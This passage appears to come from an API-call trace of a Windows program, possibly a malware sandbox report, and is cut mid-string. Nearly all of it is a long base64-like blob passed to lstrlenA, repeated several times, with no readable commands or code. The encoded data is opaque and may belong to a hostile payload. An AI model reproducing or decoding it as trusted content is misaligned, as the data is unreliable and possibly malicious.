dhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.360] lstrlenA (lpString="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") returned 5792 [0128.360] lstrlenA (lpString="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") returned 5792 [0128.360] lstrlenA (lpString="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